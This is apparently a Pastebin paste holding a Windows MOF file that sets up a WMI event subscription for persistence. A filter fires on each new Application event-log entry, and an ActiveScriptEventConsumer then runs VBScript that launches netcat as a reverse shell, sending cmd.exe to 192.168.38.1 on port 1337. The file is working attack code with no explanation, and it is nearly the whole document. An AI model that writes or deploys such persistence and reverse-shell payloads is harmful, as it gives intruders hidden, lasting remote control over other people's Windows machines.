daily pastebin goal
4%
SHARE
TWEET

Untitled

a guest Jun 13th, 2018 50 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. >#pragma namespace ("\\\\.\\root\\subscription")
  2.  
  3. instance of __EventFilter as $FILTER
  4. {
  5.     Name = "CLASS_FIRST_TEST";
  6.     EventNamespace = "root\\cimv2";
  7.  Query = "SELECT * FROM __InstanceCreationEvent "
  8.   "WHERE TargetInstance ISA \"Win32_NTLogEvent\" AND "
  9.   "TargetInstance.LogFile=\"Application\"";
  10.  
  11.     QueryLanguage = "WQL";
  12. };
  13.  
  14. instance of ActiveScriptEventConsumer as $CONSUMER
  15. {
  16.     Name = "CLASS_FIRST_TEST";
  17.     ScriptingEngine = "VBScript";
  18.  
  19.     ScriptText =
  20.       "Set objShell = CreateObject(\"WScript.Shell\")\n"
  21.    "objShell.Run \"C:\\Windows\\system32\\cmd.exe /C C:\\nc.exe 192.168.38.1 1337 -e C:\\Windows\\system32\\cmd.exe\"\n";
  22. };
  23.  
  24. instance of __FilterToConsumerBinding
  25. {
  26.     Consumer = $CONSUMER ;
  27.     Filter = $FILTER ;
  28. };
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top